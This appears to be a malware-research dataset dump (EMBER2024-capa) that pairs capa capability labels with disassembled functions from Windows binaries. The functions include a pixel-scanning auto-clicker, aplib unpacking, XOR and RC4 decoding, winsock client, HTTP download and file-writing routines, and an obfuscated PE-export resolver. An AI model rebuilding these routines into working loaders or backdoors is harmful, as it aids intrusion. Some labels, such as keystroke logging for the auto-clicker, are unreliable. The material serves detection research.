joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Log keystrokes via polling

Disassembly:
sub rsp, 0x58
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Auto_Clicker_go_brrrrrrr._premi_q_per_uscire_terrone._n
call fcn.140001270
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x1400011d9
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x50], r14
xor r14d, r14d
nop word [rax + rax]
xor ecx, ecx
mov ebp, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jle 0x1400011ac
nop dword [rax]
nop word [rax + rax]
mov ecx, 1
mov esi, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jle 0x14000119a
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r8d, esi
mov edx, ebp
mov rcx, rax
mov rdi, rax
call qword [sym.imp.GDI32.dll_GetPixel]
mov rdx, rdi
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.USER32.dll_ReleaseDC]
cmp bl, 0xbf
jne 0x1400010d8
movzx eax, bx
shr ax, 8
cmp al, 0x55
jne 0x1400010d8
shr ebx, 0x10
cmp bl, 0x86
jne 0x1400010d8
mov al, 1
jmp 0x1400010da
xor al, al
test al, al
je 0x140001185
mov r8d, 0x28
mov dword [rsp + 0x20], r14d
xorps xmm0, xmm0
mov dword [rsp + 0x34], 2
xorps xmm1, xmm1
lea rdx, [rsp + 0x20]
movdqu xmmword [rsp + 0x24], xmm0
lea ecx, [r8 - 0x27]
movdqu xmmword [rsp + 0x38], xmm1
call qword [sym.imp.USER32.dll_SendInput]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, 0x28
mov dword [rsp + 0x34], 4
lea rdx, [rsp + 0x20]
lea ecx, [r8 - 0x27]
call qword [sym.imp.USER32.dll_SendInput]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Clicked_at__
call fcn.140001270
mov rcx, rax
mov edx, ebp
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140003358]
call fcn.140001270
mov rcx, rax
mov edx, esi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140003354]
call fcn.140001270
mov ecx, 1
inc esi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cmp esi, eax
jl 0x140001096
xor ecx, ecx
inc ebp
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cmp ebp, eax
jl 0x140001080
mov ecx, 0x71
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140001060
mov r14, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Auto_Clicker_is_disabile_coglione._n
call fcn.140001270
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001450
add rsp, 0x58
ret
Function at 0x14076e058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14076e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14076e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14076e06f
add dl, dl
jne 0x14076e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14076e0f6
xor eax, eax
add dl, dl
jne 0x14076e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14076e1ad
add dl, dl
jne 0x14076e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14076e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14076e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14076e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14076e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14076e07e
mov eax, 1
add dl, dl
jne 0x14076e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14076e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14076e0fb
sub eax, ebx
mov ebx, 1
jne 0x14076e14c
mov ecx, 1
add dl, dl
jne 0x14076e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14076e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14076e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14076e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14076e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14076e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14076e15d
cmp eax, 0x7d00
jae 0x14076e19b
cmp eax, 0x500
jb 0x14076e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14076e07e
cmp eax, 0x7f
ja 0x14076e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14076e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14076e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14076e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20

Function at 0x140004000
Capabilities:
Encode data using xor

Disassembly:
movabs r11, 0xb3493e1048226d96
push rsp
pop r8
xor r9, r9
and r8w, 0xf1f0
fld st(5)
fxsave64 [r8]
mov r9b, 0x9a
add r8, 8
mov rcx, qword [r8]
dec r9
xor qword [rcx + r9*8 + 0x1d], r11
test r9, r9
jne 0x140004026
invalid
Function at 0x1800014ad
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rcx
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x408
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.1800033db
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x2710
call qword [sym.imp.kernel32.dll_Sleep]
add rsp, 0x20
sub rsp, 0x20
mov rcx, 0x202
lea rdx, [rbp - 0x438]
call qword [sym.imp.ws2_32.dll_WSAStartup]
add rsp, 0x20
test rax, rax
jne 0x1800014e1
lea rax, [0x180005010]
mov qword [rbp - 0x440], rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x440]
lea rdx, [0x180005072]
call fcn.180001c4d
add rsp, 0x20
test rax, rax
jne 0x180001573
lea rax, [0x180005010]
cmp qword [rbp - 0x440], rax
jne 0x180001565
lea rax, [0x180005041]
mov qword [rbp - 0x440], rax
jmp 0x180001573
lea rax, [0x180005010]
mov qword [rbp - 0x440], rax
sub rsp, 0x20
mov rcx, 0x2bf20
call qword [sym.imp.kernel32.dll_Sleep]
add rsp, 0x20
jmp 0x180001525
Function at 0x18000263d
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x38
mov qword [rbp - 0x40], 0xa
cmp qword [rbp + 0x28], 0
je 0x18000268a
mov edx, 0xffffffff
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
add rsp, 0x20
mov rsi, qword [rbp + 0x18]
jmp 0x180002725
sub rsp, 0x30
mov rcx, qword [rbp + 0x10]
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, 0
mov qword [rsp + 0x20], 0
call fcn.180002ade
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp eax, 1
jne 0x180002730
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, rsi
mov r8, qword [rbp + 0x20]
mov r9, 0
call qword [sym.imp.ws2_32.dll_send]
add rsp, 0x20
test eax, eax
jle 0x180002730
sub qword [rbp + 0x20], rax
add rsi, rax
dec qword [rbp - 0x40]
je 0x180002730
cmp qword [rbp + 0x20], 0
jne 0x180002693
cmp qword [rbp + 0x28], 0
je 0x180002749
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.kernel32.dll_SetEvent]
add rsp, 0x20
mov rax, qword [rbp + 0x20]
add rsp, 0x38
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret

Function at 0x18000275e
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x28
sub rsp, 0x30
mov rcx, qword [rbp + 0x10]
mov rdx, 0
lea r8, [rbp - 0x60]
mov r9, qword [rbp + 0x28]
mov qword [rsp + 0x20], 0
call fcn.180002ade
add rsp, 0x30
lea r12, [rbp - 0x48]
cmp qword [rbp + 0x28], 0
jne 0x1800027bc
xor r12, r12
sub rsp, 0x30
mov rcx, 0
lea rdx, [rbp - 0x60]
mov r8, 0
mov r9, 0
mov qword [rsp + 0x20], r12
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp rax, 1
jne 0x18000280f
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x20]
mov r9, 0
call qword [sym.imp.ws2_32.dll_recv]
add rsp, 0x20
add rsp, 0x28
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
Function at 0x180002874
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x448
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.1800033db
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x68]
mov rdx, 0x30
call fcn.1800033db
add rsp, 0x20
mov rax, qword [rbp + 0x18]
mov dword [rbp - 0x64], eax
mov dword [rbp - 0x60], 1
mov dword [rbp - 0x5c], 6
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, 0
lea r8, [rbp - 0x68]
lea r9, [rbp - 0x70]
call qword [sym.imp.ws2_32.dll_getaddrinfo]
add rsp, 0x20
cmp rax, 0
jne 0x180002943
mov rsi, qword [rbp - 0x70]
jmp 0x18000293d
cmp qword [rbp + 0x18], 2
jne 0x180002939
cmp dword [rsi + 4], 2
jne 0x180002939
mov rdx, qword [rsi + 0x20]
xor rax, rax
mov eax, dword [rdx + 4]
mov qword [rbp - 0x480], rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ws2_32.dll_freeaddrinfo]
add rsp, 0x20
jmp 0x180002943
mov rsi, qword [rsi + 0x28]
cmp rsi, 0
jne 0x180002907
mov rax, qword [rbp - 0x480]
add rsp, 0x448
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret

Function at 0x18000295e
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rax
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x410
sub rsp, 0x20
lea rcx, [rbp - 0x440]
mov rdx, 0x400
call fcn.1800033db
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x448]
mov rdx, 8
call fcn.1800033db
add rsp, 0x20
mov rsi, qword [rbp + 0x20]
mov rdi, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x28]
xor rbx, rbx
jmp 0x1800029e7
mov al, byte [rbx + rdi]
xor byte [rsi], al
inc rsi
inc rbx
dec rcx
cmp rbx, qword [rbp + 0x18]
jne 0x1800029e7
xor rbx, rbx
cmp ecx, 0
jg 0x1800029d0
cmp qword [rbp - 0x448], 1
je 0x180002ac9
movabs rax, 0xfffefdfc
mov rcx, 0x40
mov dword [rbp + rcx*4 - 0x444], eax
sub rax, 0x4040404
dec rcx
jne 0x180002a0b
xor rax, rax
mov rdi, qword [rbp + 0x10]
xor rbx, rbx
mov rsi, qword [rbp + 0x18]
jmp 0x180002a34
inc bl
dec rsi
je 0x180002a24
mov dl, byte [rcx + rbp - 0x440]
add al, byte [rbx + rdi]
add al, dl
mov dh, byte [rax + rbp - 0x440]
mov byte [rcx + rbp - 0x440], dh
mov byte [rax + rbp - 0x440], dl
inc cl
jne 0x180002a2d
mov rdi, qword [rbp + 0x28]
mov rsi, qword [rbp + 0x20]
test rdi, rdi
je 0x180002ab9
xor rax, rax
xor rdx, rdx
xor rcx, rcx
xor rbx, rbx
inc bl
mov dl, byte [rbx + rbp - 0x440]
add al, dl
mov cl, byte [rax + rbp - 0x440]
mov byte [rbx + rbp - 0x440], cl
mov byte [rax + rbp - 0x440], dl
add cl, dl
mov cl, byte [rcx + rbp - 0x440]
xor byte [rsi], cl
inc rsi
dec rdi
jne 0x180002a72
xor rax, rax
lea rdi, [rbp - 0x440]
mov rcx, 0x40
cld
rep stosd dword [rdi], eax
mov qword [rbp - 0x448], 1
jmp 0x1800029bf
add rsp, 0x410
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rax
pop rbp
ret
Function at 0x180002d20
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x58
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.1800033db
add rsp, 0x20
sub rsp, 0x20
mov rcx, 2
mov rdx, 1
mov r8, 6
call qword [sym.imp.ws2_32.dll_socket]
add rsp, 0x20
mov qword [rbp - 0x40], rax
sub rsp, 0x20
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp + 0x10]
mov r8, 8
call fcn.18000357b
add rsp, 0x20
mov qword [rbp - 0x80], 1
sub rsp, 0x30
mov rcx, qword [rbp - 0x40]
mov rdx, 6
mov r8, 1
lea r9, [rbp - 0x80]
mov qword [rsp + 0x20], 8
call qword [sym.imp.ws2_32.dll_setsockopt]
add rsp, 0x30
sub rsp, 0x20
call fcn.180002f7b
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0x18]
call fcn.180002b52
add rsp, 0x20
cmp rax, 0
je 0x180002e02
mov rax, qword [rbp + 0x18]
jmp 0x180002e2b
sub rsp, 0x20
mov rcx, qword [rbp + 0x18]
mov rdx, 2
call fcn.180002874
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.ws2_32.dll_inet_ntoa]
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.ws2_32.dll_inet_addr]
add rsp, 0x20
test rax, rax
je 0x180002f56
mov dword [rbp - 0x74], eax
mov rax, qword [rbp + 0x20]
cmp rax, 0x10000
jbe 0x180002e64
sub rsp, 0x20
mov rcx, rax
call fcn.1800036a8
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.ws2_32.dll_htons]
add rsp, 0x20
mov word [rbp - 0x76], ax
mov word [rbp - 0x78], 2
mov qword [rbp - 0x80], 1
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
movabs rdx, 0x8004667e
lea r8, [rbp - 0x80]
call qword [sym.imp.ws2_32.dll_ioctlsocket]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x78]
mov r8, 0x10
call qword [sym.imp.ws2_32.dll_connect]
add rsp, 0x20
sub rsp, 0x30
mov rcx, qword [rbp - 0x40]
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, qword [rbp + 0x28]
mov qword [rsp + 0x20], 0
call fcn.180002ade
add rsp, 0x30
sub rsp, 0x30
mov rcx, 0
mov rdx, 0
lea r8, [rbp - 0x68]
mov r9, 0
lea rax, [rbp - 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ws2_32.dll_select]
add rsp, 0x30
cmp rax, 1
jne 0x180002f56
mov qword [rbp - 0x80], 0
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
movabs rdx, 0x8004667e
lea r8, [rbp - 0x80]
call qword [sym.imp.ws2_32.dll_ioctlsocket]
add rsp, 0x20
mov qword [rbp - 0x88], 1
sub rsp, 0x20
call fcn.180002f7b
add rsp, 0x20
mov rax, qword [rbp - 0x88]
add rsp, 0x58
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
Function at 0x1800030b8
Capabilities:
Reference http user-agent string
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x468
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.1800033db
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [rbp + 0x28]
call fcn.180003371
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x40]
mov rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov r9, 0xa
call fcn.180002d20
add rsp, 0x20
test rax, rax
je 0x180003292
sub rsp, 0x20
mov r9, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rdx, [0x180005102]
lea rcx, [rbp - 0x480]
call qword [sym.imp.user32.dll_wsprintfA]
add rsp, 0x20
mov r8, rax
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [rbp - 0x480]
mov r9, 0
call fcn.18000263d
add rsp, 0x20
xor rdi, rdi
jmp 0x180003285
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
lea rdx, [rdi + rbp - 0x480]
mov r8, 1
mov r9, 0xa
call fcn.18000275e
add rsp, 0x20
cmp rax, 1
jne 0x180003292
inc rdi
cmp rdi, 4
jb 0x180003285
cmp dword [rdi + rbp - 0x484], 0xa0d0a0d
jne 0x180003285
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
mov rdx, 0x4004667f
lea r8, [rbp - 0x488]
call qword [sym.imp.ws2_32.dll_ioctlsocket]
add rsp, 0x20
cmp qword [rbp - 0x488], 0
jne 0x180003207
mov qword [rbp - 0x488], 0x1000
mov r8, qword [rbp - 0x488]
add r8, qword [rbp - 0x498]
sub rsp, 0x20
lea rcx, [rbp - 0x490]
mov rdx, qword [rbp - 0x498]
call fcn.1800032dd
add rsp, 0x20
test rax, rax
je 0x180003292
jmp 0x180003276
mov rdx, qword [rbp - 0x490]
add rdx, qword [rbp - 0x498]
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x488]
mov r9, 0xa
call fcn.18000275e
add rsp, 0x20
test eax, eax
jle 0x180003292
add qword [rbp - 0x498], rax
sub qword [rbp - 0x488], rax
cmp qword [rbp - 0x488], 0
jne 0x180003237
jmp 0x1800031d2
cmp rdi, 0x400
jbe 0x180003183
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
call fcn.180002820
add rsp, 0x20
sub rsp, 0x20
lea rcx, [rbp - 0x490]
mov rdx, qword [rbp + 0x28]
mov r8, 8
call fcn.18000357b
add rsp, 0x20
mov rax, qword [rbp - 0x498]
add rsp, 0x468
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
Function at 0x180003416
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbp
mov rbp, rsp
push rbx
push rdi
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x18
lea rdx, [rbp - 0x38]
sub rdx, rsp
sub rsp, 0x20
lea rcx, [rsp + 0x20]
call fcn.1800033db
add rsp, 0x20
mov qword [rbp - 0x50], 0x64
sub rsp, 0x40
mov rcx, qword [rbp + 0x10]
mov rdx, 0x40000000
mov r8, 0
mov r9, 0
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 0x80
mov qword [rsp + 0x30], 0
call qword [sym.imp.kernel32.dll_CreateFileA]
add rsp, 0x40
mov qword [rbp - 0x40], rax
cmp eax, 0xffffffff
jne 0x1800034b6
cmp qword [rbp - 0x50], 0
je 0x1800034b6
dec qword [rbp - 0x50]
jmp 0x18000345e
cmp eax, 0xffffffff
je 0x180003518
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
mov rdx, 0
mov r8, 0
mov r9, qword [rbp + 0x30]
call qword [sym.imp.kernel32.dll_SetFilePointer]
add rsp, 0x20
sub rsp, 0x30
mov rcx, qword [rbp - 0x40]
mov rdx, qword [rbp + 0x18]
mov r8, qword [rbp + 0x20]
lea r9, [rbp - 0x48]
mov qword [rsp + 0x20], 0
call qword [sym.imp.kernel32.dll_WriteFile]
add rsp, 0x30
sub rsp, 0x20
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.kernel32.dll_CloseHandle]
add rsp, 0x20
add rsp, 0x18
pop r15
pop r14
pop r13
pop r12
pop rsi
pop rdi
pop rbx
pop rbp
ret
Function at 0x837c00
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbx
mov eax, 0x14a8
call fcn.00867180
sub rsp, rax
movaps xmmword [rsp + 0x1490], xmm15
movaps xmmword [rsp + 0x1480], xmm14
movaps xmmword [rsp + 0x1470], xmm13
movaps xmmword [rsp + 0x1460], xmm12
movaps xmmword [rsp + 0x1450], xmm11
movaps xmmword [rsp + 0x1440], xmm10
movaps xmmword [rsp + 0x1430], xmm9
movdqa xmmword [rsp + 0x1420], xmm8
movaps xmmword [rsp + 0x1410], xmm7
movaps xmmword [rsp + 0x1400], xmm6
movdqa xmm9, xmmword [0x0086f5e0]
xor eax, eax
movdqa xmm12, xmmword [0x0086f5f0]
pxor xmm2, xmm2
movdqa xmm4, xmmword [0x0086f610]
movdqa xmm6, xmmword [0x0086f630]
movdqa xmm13, xmmword [0x0086f670]
movdqa xmm14, xmmword [0x0086f680]
movdqa xmm15, xmmword [0x0086f690]
movdqa xmm7, xmmword [0x0086f6a0]
movdqa xmm10, xmmword [0x0086f6b0]
movdqa xmm11, xmmword [0x0086f6c0]
nop dword [rax + rax]
Function at 0x840140
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub cl, byte [rdi]
test byte [rsi + rcx*2 + 0x75], dh
jmp 0x164985c
test byte [rsi + 0xf000002], dh
test dword [rax + 2], esi
add byte [rax], al
add byte [rax - 0x3f7bc3fc], cl
mov rax, qword [rcx + 0x10]
mov edx, dword [rcx + 0x3c]
jmp 0x84020a
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 8], 0x5b41
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 0xa], 0x5a41
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 0xc], 0x5941
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 0xe], 0x5841
je 0x8402b4
jne 0x8402b4
jmp 0x1f2eb52
ret
mov qword [rcx + 0x10], rdx
jmp 0x840385
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 6], 0x5c41
jmp 0x84014e
cmp edx, 0x8664
je 0x8402d1
cmp edx, 0x14c
jne 0x84018b
je 0x84026b
jne 0x84026b
jmp 0x848bbe
jne 0x8402c6
add byte [rax], al
add byte [rax], al
jmp 0x840193
jne 0x840342
je 0x10cd8d3d
mov r9, qword [rcx + 0x10]
lea rdx, [r9 + 1]
mov qword [rcx + 0x10], rdx
je 0x840303
jne 0x840303
jmp 0x8402f4
je 0x840285
jne 0x840285
add byte [rax], al
add byte [rax], al
mov rdx, qword [rcx + 8]
mov byte [rdx + r8], 0x58
mov qword [rcx + 0x10], r9
jmp 0x84018b
mov rdx, qword [rcx + 8]
mov byte [r9 + rdx + 0x11], 0x5e
mov rdx, qword [rcx + 8]
je 0x84028c
jne 0x84028c
je 0x2944706
mov byte [rax + rdx + 2], 0x5d
pop rbp
je 0x840342
jmp 0x8401e5
mov byte [rax + rdx + 4], 0x5a
mov rdx, qword [rcx + 8]
lea r8, [rax + 6]
je 0x8402c6
jmp 0x8401d7
mov byte [rax + rdx + 3], 0x5b
mov rdx, qword [rcx + 8]
jmp 0x84024b
mov rdx, qword [rcx + 8]
mov byte [rdx + rax], 0x5f
mov rdx, qword [rcx + 8]
mov byte [rax + rdx + 1], 0x5e
mov rdx, qword [rcx + 8]
je 0x84023c
jne 0x84023c
jmp 0x832972
jmp 0x8401b0
jne 0x8402f4
mov byte [r9 + rdx + 0x12], 0x5d
mov rdx, qword [rcx + 8]
mov byte [r9 + rdx + 0x13], 0x5b
mov rdx, qword [rcx + 8]
mov byte [r9 + rdx + 0x14], 0x5a
mov rdx, qword [rcx + 8]
mov byte [r9 + rdx + 0x15], 0x59
jmp 0x8402dd
je 0x8d58e00
mov rdx, qword [rcx + 8]
mov byte [r9 + rdx + 0x10], 0x5f
jmp 0x840228
jne 0x840317
jmp 0x5944790
mov byte [rax + rdx + 5], 0x59
lea r9, [rax + 7]
jmp 0x8402e5
mov r8, qword [rcx + 8]
lea rdx, [rax + 1]
jmp 0x840339
lea r8, [r9 + 0x16]
add r9, 0x17
je 0x840212
jne 0x840212
jmp 0x8402b2
jmp 0x8401a0
je 0x840317
jmp 0x8402c3
mov byte [r8 + r9], 0x8b
mov r8, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
je 0x840383
jne 0x840383
jmp 0x840317
mov qword [rcx + 0x10], rdx
mov byte [r8 + r9], 0xe5
mov r8, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
lea rdx, [r9 + 1]
jmp 0x84035d
lea rdx, [r9 + 1]
jmp 0x8402f9
mov qword [rcx + 0x10], rdx
je 0x84036d
jne 0x84036d
jmp 0x8d58e8e
mov rdx, qword [rcx + 8]
je 0x84025f
jne 0x84025f
je 0x831641
inc dword [rax]
add byte [rax], al
add byte [rdi], cl
test byte [rsi - 2], bh
invalid
je 0x8401e1
jne 0x8401e1
add byte [rax], al
add byte [rax], al
mov byte [r8 + rax], 0x48
mov r8, qword [rcx + 8]
je 0x8401ed
jne 0x8401ed
jmp 0xffffffffc6c7ae72
jmp 0x84032f
mov byte [r8 + r9], 0x5d
mov r8, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov word [r8 + r9], 0x5f41
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 2], 0x5e41
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 4], 0x5d41
je 0x8402f4
jmp 0x84028a
invalid